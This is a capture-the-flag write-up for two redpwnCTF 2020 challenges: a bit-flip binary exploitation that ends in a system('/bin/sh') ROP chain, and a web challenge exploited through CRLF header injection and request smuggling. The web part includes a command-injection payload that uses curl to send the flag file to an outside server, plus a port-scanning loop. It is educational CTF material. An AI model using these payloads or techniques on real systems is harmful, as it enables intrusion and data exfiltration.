redpwnCTF 2020
pwn/kevin-higgs
It's basically Rowhammer, right?
This challenge is a golf challenge where teams can flip a certain number of bits anywhere in memory. The number of bits that can be flipped goes up over time until a team first solves the challenge, at which point the number is fixed.
void FUN_08049267(undefined4 param_1,undefined4 param_2)
{
char *__nptr;
ulong allowed_flips;
ulong uVar1;
int *piVar2;
ulong uVar3;
int in_GS_OFFSET;
ulong uVar4;
uint n_flips;
char local_1f [11];
undefined4 local_14;
undefined *puStack16;
puStack16 = ¶m_1;
local_14 = *(undefined4 *)(in_GS_OFFSET + 0x14);
setvbuf(stdout,(char *)0x0,2,0);
__nptr = getenv("NUMBER_OF_FLIPS");
if (__nptr == (char *)0x0) {
puts(
"You need to specify the number of flips that you will be permitted to use through the$NUMBER_OF_FLIPS environmental variable.\n* if you do not understand the purpose of this,please reread the challenge description or reach out to an admin for help\n* the rate atwhich the number of bits permitted increases is accessible is displayed over netcat\n* oncethe first team solves this challenge, the clock will be stopped and all teams must find asolution using that number of bits or fewer\n"
);
/* WARNING: Subroutine does not return */
exit(1);
}
uVar4 = 10;
allowed_flips = strtoul(__nptr,(char **)0x0,10);
uVar3 = allowed_flips;
printf(
"Right now, this program will only let you flip %lu bit(s) anywhere in memory. That\'s allyou get for now. No libc provided. Live up to kmh\'s expectations and get a shell. Note:Your HSCTF solutions don\'t work anymore :)\n\n"
,allowed_flips);
n_flips = 0;
while( true ) {
if (allowed_flips <= n_flips) {
puts("Well, at least you tried.");
/* WARNING: Subroutine does not return */
exit(0);
}
printf("Give me the address of the byte (hex uint32): ",uVar3,uVar4);
fgets(local_1f,10,stdin);
uVar1 = strtoul(local_1f,(char **)0x0,0x10);
piVar2 = __errno_location();
*piVar2 = 0;
piVar2 = __errno_location();
if (*piVar2 == 0x22) break;
printf("Give me the index of the bit (0 to 7): ");
fgets(local_1f,10,stdin);
uVar3 = strtoul(local_1f,(char **)0x0,10);
if (7 < uVar3) {
puts("Try again (please give offset 0 to 7).");
/* WARNING: Subroutine does not return */
exit(1);
}
uVar4 = uVar3;
printf("Flipping 0x%08x at offset %lu...\n",uVar1,uVar3);
uVar3 = uVar3 & 0xffff;
FUN_080491e6(uVar1);
n_flips = n_flips + 1;
}
puts("Try again (please give hex uint32).\n");
/* WARNING: Subroutine does not return */
exit(1);
}
void FUN_080491e6(uint *param_1,undefined4 param_2)
{
*param_1 = *param_1 ^ 1 << ((byte)param_2 & 0x1f);
puts("You flipped a bit! You should be proud of yourself, great job!");
if (DAT_0804c090 != 0) {
printf("[debug] Here\'s your new byte: 0x%02hhx\n",*param_1);
}
return;
}
checksec for '/home/justin/redpwn20/pwn/kevin/kevin-higgs'
Canary : ✘
NX : ✓
PIE : ✘
Fortify : ✘
RelRO : Partial
We can observe that the binary does not mark memory locations as writable before actually trying to flip bits. This means that we cannot simply modify instructions directly but can only modify writable sections.
The .got.plt
section appears to be the only writable section we can initially attack. Although there are writable sections mapped elsewhere in the binary, we don't know their addresses due to ASLR.
To make full use of the two bit flips we are allowed, we first take a look at exit@got
. Modifying the GOT entry of any other function would only allow us a single bit flip (as the function would be called before the second bit flip).
At this point, because exit
has never been called, exit@got
points to 0x08049086
which is exit@plt
.
We can also see that the section at 0x08049000
is the only executable section. If we were to modify exit@got
, we would have to jump to somewhere in 0x08049000
.
We can brute force flipping all possible combinations:
for p in itertools.combinations(list(range(12)), 2):
address = 0x08049086 ^ ((1 << p[0]) | (1 << p[1]))
log.info(f'addr={hex(address)}')
log.info(disasm(r.leak(address, 64)))
which identifies 0x080490d6
as a valid address we can jump to. Since this address is right at the start of entry
, changing exit@got
to point here will give us infinite flips!
Next, we want to leak the address of libc. We can make use of the debug functionality in the bit flipping function - if 0x804c090
is not zero, the binary prints out the entire byte that was modified.
To leak the address of say, setvbuf
, all we have to do is to flip a bit in each of the 4 bytes (then flip the bit back so we do not corrupt the address) and read the output from the binary. Note that we can only leak data that we can write to (the bit flip fails otherwise).
def flip(pos, bit):
r.sendlineafter("of the byte ", f'{pos:x}')
r.sendlineafter("of the bit (0 to 7): ", str(bit))
data = r.recvuntil("Give me").decode("utf8")
if "[debug]" in data:
m = re.search(r'your new byte: 0x([0-9a-zA-Z]{2})\n', data)
returned = int(m.group(1), 16)
original = returned ^ (1<<bit)
log.debug(f'0x{pos:08x}: 0x{original:02x} -> 0x{returned:02x}')
return original
Now what? Knowing the address of libc still does not allow us to redirect program execution to the shell we're after.
It turns out that libc contains a symbol environ
whose value is on the stack! We can thus leak the address of the stack, then write the address ofsystem
somewhere on the stack and ret
to it.
One problem now is that we currently call exit
every two bit flips. Since we need more than two bit flips to change the address of exit
properly, calling the function while we're in the middle of writing our full value will lead to a segfault as we jump to an invalid location.
The solution is simple: since the variable controlling the number of allowed flips is on the stack and we have the stack address, just flip a bit in the stack variable to increase the number of bit flips we're allowed!
We make use of this gadget: 0x080494ad : add esp, 0xc ; pop ebx ; pop esi ; pop edi ; pop ebp ; ret
which will pop 7 items off the stack then ret
to the 8th item.
We set up the stack so that it looks like this immediately after exit
is called:
return address after `call exit`
dont care (0 because of the argument to exit)
dont care
dont care
dont care
dont care
dont care
system@libc
dont care (return address after executing system, but we don't need to return)
ptr to /bin/sh
Flipping exit@got
to
will thus result in the first 7 items on the stack being removed. Execution then returns to 0x080494ad
system
, which will execute /bin/sh
, giving us the shell we're after.
web/post-it-notes
Request smuggling has many meanings. Prove you understand at least one of them at 2020.redpwnc.tf:31957.
Note: There are a lot of time-wasting things about this challenge. Focus on finding the vulnerability on the backend API and figuring out how to exploit it.
We're given the source code for two web servers, one frontend and one backend server.
A very obvious command injection vulnerability is present here in the title
param to /api/v1/notes
.
Heres where I messed up - I trusted the challenge description too much and saw "request smuggling" and missed the unintended solution as pointed out by my team: just pass a command to /notes/<cmd>
of the frontend server.
I went down the relatively painful route of actually exploiting the request smuggling vulnerability as hinted by the challenge description.
The following function in the frontend server immediately appears suspicious due to the manually created HTTP HEAD request:
Lets sidetrack a little to what does a HTTP request actually look like
The dump above is of a HTTP request and a response (starting at HTTP/1.0 404 File not found
). A request/response consists of a block of headers then a body.
The headers are delimited by \r\n
between each header, then \r\n\r\n
at the end of the header block to mark the end of the header and start of the body.
This line from check_links
manually builds a HTTP request: wef=(b'HEAD ' + (path or '/').replace('\n', '%0A').encode('utf-8') + b' HTTP/1.1\r\nConnection: keep-alive\x0d\nHost: ' + host.encode('utf-8') + b'\r\nUser-Agent: archlinux\r\nAccept: */*\r\n\r\n')
which, if host
contained www.google.com
, evaluates to something like
HEAD / HTTP/1.1
Connection: keep-alive
Host: www.google.com
User-Agent: archlinux
Accept: */*
What happens if host
contained www.google.com\r\nfoo: bar
then? It evaluates to
HEAD / HTTP/1.1
Connection: keep-alive
Host: www.google.com
foo: bar
User-Agent: archlinux
Accept: */*
We have the ability to inject an arbitrary header into the HTTP request.
What if we take it even further? What if host
was something like www.google.com\r\n\r\nGET / HTTP/1.1\r\n\r\n
?
HEAD / HTTP/1.1
Connection: keep-alive
Host: www.google.com
GET / HTTP/1.1
User-Agent: archlinux
Accept: */*
We have faked a entirely separate HTTP request. This would be useful if for example, the frontend server enforced validation on valid titles to prevent command injection. With this CRLF injection, we could make requests not usually allowed.
Now, to actually get a useful value into host
, we have to play with the validation checks in check_link
:
r = re.match(r'http://([^:]+)(:\d*)?(/.*)?', link, flags = 26)
if not r:
print('no bad link!!!', link)
return False
host, port, path = r.groups()
ip = None
try:
# :thonkeng:
ip = socket.gethostbyname(host)
except:
ip = host
pass # eh we just want ip it doesnt really matter ig since it will be validated in next step
# validate host
try:
# XXX: ipv6 and ipv8 support
ip = re.match(r'(\d{1,3}\.\d{1,3}\.\d{1,3}\.\d{1,3})', ip).__getattribute__('groups')()[0]
except Exception as PYTHON_SUCKS:
print(PYTHON_SUCKS)
print(host)
print('bad ip address')
return False
The first regular expression extracts out everything between http://
and :\d*
as the host
, then the number after as port
. We ignore path
here: its not useful because the server escapes \n
in path
.
We expect socket.gethostbyname
to fail because our payload will not be a valid domain name. ip
is then extracted from host
with another regular expression.
Since the frontend server connects to ip
and port
, we need to pass in the correct parameters. We know that ip
can be 127.0.0.1
since the backend server is on the same host. port
on the other hand, is randomised.
Well, there is a straightforward solution to that:
for port in range(50000, 51000):
link = f"http://localhost:{port}"
print(link)
r = requests.post(urljoin(HOST, "/check-links"), data={
"links": link
})
if "true" in r.text:
print(r.text)
break
We find out that the backend server is running on port 50596.
We can thus build our payload:
http://127.0.0.1\r\n\r\nGET /api/v1/notes/?title=%27%3B+curl+http%3A%2F%2Fjustins.in%2F%60cat+flag.txt%60+%23 HTTP/1.1\r\n\r\n:50596
which when parsed, results in the following HTTP requests:
HEAD / HTTP/1.1
Connection: keep-alive
Host: 127.0.0.1
GET /api/v1/notes/?title=%27%3B+curl+http%3A%2F%2Fjustins.in%2F%60cat+flag.txt%60+%23 HTTP/1.1
User-Agent: archlinux
Accept: */*
which results in the flag being sent to my web server:
34.75.191.250 - - [26/Jun/2020:00:44:24 +0800] "GET /flagy0u_b3tt3r_n0t_m@k3_m3_l0s3_my_pyth0n_d3v_j0b HTTP/1.1" 301 509 "-" "curl/7.64.0"